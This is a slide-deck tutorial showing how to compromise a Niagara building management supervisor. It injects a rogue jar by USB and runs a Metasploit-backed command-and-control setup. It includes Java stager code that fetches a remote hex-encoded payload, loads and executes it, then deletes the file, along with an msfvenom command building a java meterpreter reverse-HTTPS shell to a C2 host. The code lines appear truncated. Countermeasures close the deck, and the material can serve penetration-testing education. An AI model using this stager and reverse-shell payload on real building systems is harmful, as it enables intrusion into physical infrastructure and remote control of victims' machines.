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0. Introduction
The goal of this presentation is to demonstrate through a
practical use case how a BMS system can be compromised.
To do so we will use standard pentesting tools like Metasploit
to perform this attack.

https://www.rapid7.com/products/metasploit/


1. General architecture
To perform this attack, we will need to :

infect the BMS supervisor with a rogue jar file
build a control and command center to exploit

Here are some useful links to help you to set this up.

Multi‐Tool Multi‐User HTTP Proxy
Nginx as a reverse proxy

Docker build reference
Metasploit framework

https://www.swordshield.com/2016/10/multi-tool-multi-user-http-proxy/
https://www.nginx.com/resources/admin-guide/reverse-proxy/
https://docs.docker.com/engine/reference/builder/
https://www.offensive-security.com/metasploit-unleashed/


Command and Control center ﴾C2﴿
The victim BMS supervisor will connect back to the C2

Docker file for kali‐nogui

https://bitbucket.org/wawaxteam/docker-kali-nogui


2. Vector of attack
To initiate this attack we will use a usb key that will inject the
rogue jar file on the victim PC.

This type of attack can easily be conducted by using a rubber
ducky for example ..!

http://usbrubberducky.com/#!index.md


3. Creation of a custom bootstrap
We first need to create a specific java class loader that will be
injected into an existing jar file of the BMS supervisor.

This will initiate the download of the payload we will forge later
on when the Niagara station is booting up.



Java bootstrap code

/**
 * Minified version of the bootstrap code
 */
public class CompressedStagerLoader {

    /**
     * payload launcher
     */
    public CompressedStagerLoader() {
        try {
            URLConnection con = new URL("https://my‐url/some‐path/payload‐hex‐textfile.txt"
            BufferedReader in = new BufferedReader(new InputStreamReader
            StringBuilder a = new StringBuilder();
            String stager;
            while ((stager = in.readLine()) != null)a.append(stager);
            in.close();



            URLClassLoader urlcl = new URLClassLoader(new URL[]{
            URL u = new URL("jar", "", urlcl.getURLs()[0] + "!/"

            FileOutputStream fos = new FileOutputStream(urlcl.getURLs()[
            fos.write(DatatypeConverter.parseHexBinary(a.toString()));
            fos.close();

            JarURLConnection uc = (JarURLConnection) u.openConnection();
            uc.getMainAttributes().getValue(Attributes.Name.MAIN_CLASS);

            Class c = urlcl.loadClass(uc.getMainAttributes().getValue(Attributes.Name.MAIN_CLASS));
            c.getMethod("main", new Class[]{new String[]{}.getClass()}).invoke(
            con.getInputStream().close();
            urlcl.close();
            Files.delete(Paths.get(urlcl.getURLs()[0].toURI()));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}



4. Forging a payload
This is the shell code that will give us a remote access to the
BMS supervisor

Msfvenom

Build a java reverse https payload

$> msfvenom ‐p java/meterpreter/reverse_https LHOST=my‐c2.net LPORT=

https://www.offensive-security.com/metasploit-unleashed/msfvenom/


5. Workflow of the attack
In this section we will see how the payload is staged and how
the execution is done in multiple steps.

The payload will be launched by the Niagara process when a
station start but will reside in memory in a separated thread.

If you look at the processes executed in memory you will find
some binded to your C2 IP on the https port.
You can use ProcessXP to identify those processes.

https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx


Staged payload



State flow



Stage 0 :: Rogue module web.jar

Looking at the bytecode we can see that this version of the
web.jar module contain a special function that will call a
remote URL where is our encoded string for the stage 1



Stage 1 :: Encoded string containing the reverse https
socket

This is a normal text file containing the encoded binary jar
The stage 0 will decode and load in memory the jar



Stage 2 :: Meterpreter shell

To illustrate this part let's see on the C2 msfconsole

Here we can see that a connection was requested by our victim
target and a meterpreter session is started.



6. Exploitation
From here the fun can start ! When the latest stage is loaded a
reverse https connection is established with the command and
control center. Depending on the url you set up when you
have forged your payload the traffic will be routed to one of
docker container used by your analysts.

On the C2 side msfconsole is launched and a listener has been
set up to receive the inbound connections.

Once the link is established a meterpreter session will start.

So from here you have an access to the PC running the
supervisor and you can operate your audit.



Niagara station has been >h@ck3d!

During the boot of the station the bootstrap code start to
dowload the first stage of the java meterpreter payload.

Then, once last stage is downloaded, a reverse https
connection is established to the C2.



About this attack scheme

This type of attack is basic but nevertheless can compromise
pretty fairly a system with an average protection.

You should keep in mind that more advanced techniques like
obfuscation, migration process in memory, dynamic AV evasion
and many more other things can help the attacker to be more
efficient and more discrete.

So it is important to consider that even if you can prevent this
kind of attacks you still need to think your security strategy as
a dedicated task in your project management and not as a
secondary priority.



7. Example of counter measures
Antivirus up‐to‐date
Firewall with restrictive policy for outbound connections
Protect USB port access !

Only download a distribution of the software through your
vendor
Check the checksums
Migrate to Niagara 4 that use signed JAR



Thank you very much !
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Designed with Marp : https://yhatt.github.io/marp/


